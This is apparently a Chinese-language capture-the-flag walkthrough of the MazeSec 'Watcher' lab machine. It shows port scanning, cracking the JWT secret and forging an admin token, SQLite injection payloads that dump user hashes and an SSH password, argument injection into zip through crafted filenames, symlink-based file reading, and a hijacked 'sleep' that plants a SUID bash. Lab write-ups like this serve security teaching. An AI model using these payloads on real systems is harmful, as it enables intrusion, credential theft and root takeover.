MazeSec Watcher
靶机信息
靶机名称: Watcher
靶机作者:Yolo
靶机类型:Linux
来源:MazeSec/QQ公开群 321948805
官网:https://maze-sec.com/
流程图

存活主机发现
使用 arp-scan 进行局域网内存活主机扫描,发现目标主机 IP 地址为 192.168.6.181
arp-scan -l
# PCS Systemtechnik GmbH 是一家德国公司,根据 MAC 地址前缀 08:00:27,可以推测该设备可能是使用 VirtualBox 虚拟化软件创建的虚拟机,因为这个 MAC 地址前缀通常与 VirtualBox 相关联。
192.168.6.181 08:00:27:ff:92:3d PCS Systemtechnik GmbH
端口扫描
对目标主机进行全端口扫描,使用 -sT 进行 TCP 连接扫描。
nmap 192.168.6.181 -p- -sT -n
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
5000/tcp open upnp
使用 -sV对已知端口进行版本扫描
nmap 192.168.6.181 -sV -p 5000
PORT STATE SERVICE VERSION
5000/tcp open http Gunicorn
5000 端口运行 web 服务
5000 端口分析
访问 http://192.168.6.181:5000,注册账号后登录

admin 路由仅允许 admin 等级用户访问

在 cookie 信息里有条 jwt ,解密后发现用户等级为 normal
{
"username": "111",
"level": "normal",
"iat": 1779529536,
"exp": 1779533136
}

使用了 HS256 算法
flask-unsign -d -c 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSIsImxldmVsIjoibm9ybWFsIiwiaWF0IjoxNzc5NTI5NTM2LCJleHAiOjE3Nzk1MzMxMzZ9.Zcz6BW5gw2l3Db1wEQWr8PoO9egVHPnJ2vLn2jfg-_w'
{'alg': 'HS256', 'typ': 'JWT'}
JWT 密钥爆破
尝试 john 指定算法进行暴力破解,使用 rockyou.txt 字典,破解出 secret 为 maze
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSIsImxldmVsIjoibm9ybWFsIiwiaWF0IjoxNzc5NTI5NTM2LCJleHAiOjE3Nzk1MzMxMzZ9.Zcz6BW5gw2l3Db1wEQWr8PoO9egVHPnJ2vLn2jfg-_w' > token.txt
john token.txt --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt

使用 secret 重新生成 jwt,修改用户等级为 admin
#!/usr/bin/env python3
import jwt
import time
secret = "maze"
# 伪造管理员 token
admin_token = jwt.encode(
{
"username": "admin",
"level": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + 7200 # 2小时
},
secret,
algorithm="HS256"
)
print(admin_token)
使用新生成的 admin token 访问 admin 路由,管理面板修改配置会向 /api/settings/update 发送 POST 请求

发送单引号时,服务器返回 500 错误,其中 unrecognized token:是 SQLite 数据库引擎的错误提示,说明后端使用了 SQLite 数据库,并且存在 SQL 注入漏洞


SQL 注入漏洞利用
猜测后端sql语句
sql = f"UPDATE settings SET value = '{value}' WHERE key = '{key}'"
利用子查询注入提取数据:
// 注入子查询到 value
{"key":"theme","value":"'||(SELECT sql FROM sqlite_master LIMIT 1)||'"}
// 返回 current_value 带着表结构
{"code":200,"current_value":"CREATE TABLE users (...)",...}

原理: 语句变成:
UPDATE settings SET value = ''||(SELECT sql FROM sqlite_master LIMIT 1)||'' WHERE key = 'theme'
SQLite 的 || 是字符串连接符,子查询结果被拼接进 value 字段,然后通过 SELECT value FROM settings WHERE key = 'theme' 读回来返回给客户端
获取所有表
# users,sqlite_sequence,settings,secret
{
"key": "theme",
"value": "'||(SELECT group_concat(name, ',') FROM sqlite_master WHERE type='table')||'"
}
获取表结构
{
"key": "theme",
"value": "'||(SELECT sql FROM sqlite_master WHERE type='table' AND name='users')||'"
}
建表语句
# user表
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT, -- 用户ID,自增
username TEXT UNIQUE NOT NULL, -- 用户名,唯一
password TEXT NOT NULL, -- 密码
level TEXT DEFAULT 'normal' -- 权限等级
)
# settings表
CREATE TABLE settings (
id INTEGER PRIMARY KEY AUTOINCREMENT,
key TEXT UNIQUE NOT NULL,
value TEXT NOT NULL,
description TEXT
)
# secret表
CREATE TABLE secret (
id INTEGER PRIMARY KEY AUTOINCREMENT,
secret TEXT NOT NULL
);
查询表数据
{
"key": "theme",
"value": "'||(SELECT group_concat(username||':'||password||':'||level, ';') FROM users)||'"
}
表数据
# user
admin:02acd98efd5e68a2d9f0cedceb841ff835ea3af09c979be40a26900db75bb7b0:admin;111:bcb15f821479b4d5772bd0ca866c00ad5f926e3580720659cc80d39c9d09802a:normal
# settings
1:theme:admin:02acd98efd5e68a2d9f0cedceb841ff835ea3af09c979be40a26900db75bb7b0:admin;111:bcb15f821479b4d5772bd0ca866c00ad5f926e3580720659cc80d39c9d09802a:normal:系统主题;2:language:zh-CN:系统语言;3:notification:on:通知开关;4:log_level:%3f:日志等级
# secret
1:watcher:mazesec123q1231w!@#!@@#$
拿到 watcher:mazesec123q1231w!@#!@@#$从,尝试登录 ssh,成功登录到服务器
pspy64 监控进程
查看靶机正在运行的服务
systemctl list-units --type=service --state=running
其中 autoarchive.service、watcher.service 的服务名及描述引起注意

查看 服务内容
systemctl cat autoarchive.service
systemctl cat watcher.service
其中 autoarchive 服务以 root 身份执行一个同步脚本,watcher 服务为刚刚的 web 入口

autoarchive 服务的同步脚本目录无权访问,当前目录下存在任何人可写的 uploads 目录

运行 pspy64 监控进程,可以看到 root 用户在监控 /home/watcher/uploads 目录,执行了 inotifywait 命令监控文件创建事件,并且执行了 /opt/autoarchive/sync.sh 脚本,具体内容未知
2026/05/23 09:26:55 CMD: UID=0 PID=393 | /bin/bash /opt/autoarchive/sync.sh
2026/05/23 09:26:55 CMD: UID=0 PID=392 | inotifywait -m -e create /home/watcher/uploads
2026/05/23 09:26:55 CMD: UID=33 PID=385 | /usr/bin/python3 -m gunicorn -b 0.0.0.0:5000 app:app
2026/05/23 09:26:55 CMD: UID=0 PID=382 | /bin/bash /opt/autoarchive/sync.sh

开启新终端,尝试在一个终端中进行创建文件的操作,观测 pspy 的输出
在创建 a.txt 文件时,触发了 inotifywait 的监控,执行了 sync.sh 脚本,再删除 a.txt 并再次重建时,发现会执行 zip 命令压缩 a.txt 文件


创建多个 txt 文件时,会执行 zip 命令压缩多个 txt 文件,猜测使用了通配符,尝试创建文件名为 zip 命令参数的 txt 文件,观察脚本行为
rm -rf ./*
touch a.txt
touch ' a -O out a.txt'

成功控制了 zip 命令的参数,当前目录存在 -O 参数指定的压缩包文件名 out.zip,说明将同步文件打包输出到了当前目录,也说明 sync.sh 脚本中可能存在 cd /home/watcher/uploads 的操作

任意文件读取
通过软链接的方式,创建一个指向 /root/root.txt 的链接文件,触发 sync.sh 脚本执行 zip 命令压缩该链接文件,zip 命令默认会跟随链接读取文件内容并压缩到 out.zip 中,下载 out.zip 解压后即可拿到 flag
rm -rf ./*
ln -s /root/root.txt flag
touch ' a -O out flag a.txt'

PATH劫持提权
当前已经有了任意文件读取的能力,尝试读取 sync.sh 脚本内容
rm -rf ./*
ln -s /opt/autoarchive/sync.sh sync
touch ' a -O out sync a.txt'
同步脚本内容:
#!/bin/bash
WATCH_DIR="/home/watcher/uploads"
HELPER_PATH="${AUTOARCHIVE_HELPER:-/usr/local/bin/archive-helper}"
mkdir -p /root/backups
inotifywait -m -e create "$WATCH_DIR" |
while read -r path action file
do
case "$file" in
*.txt)
sleep 3
cd "$WATCH_DIR" || exit 1
export PATH="$WATCH_DIR:$PATH"
# Archive all .txt files after each new .txt file event.
"$HELPER_PATH" *.txt >> /var/log/autosync.log 2>&1
;;
esac
done

可以看到脚本中存在 PATH 环境变量注入漏洞,export PATH="$WATCH_DIR:$PATH" 将当前目录加入了 PATH 环境变量的最前面,导致后续执行的 archive-helper 命令会优先在当前目录下寻找可执行文件
在导入环境变量后,脚本会在新建文件时执行 sleep 命令,在当前目录下创建一个同名的 sleep 可执行文件,触发脚本执行时会优先执行当前目录下的 sleep 文件
rm -rf ./*
echo 'cp /bin/bash /var/tmp/bash;chmod +s /var/tmp/bash' > sleep
chmod +x sleep
touch a.txt
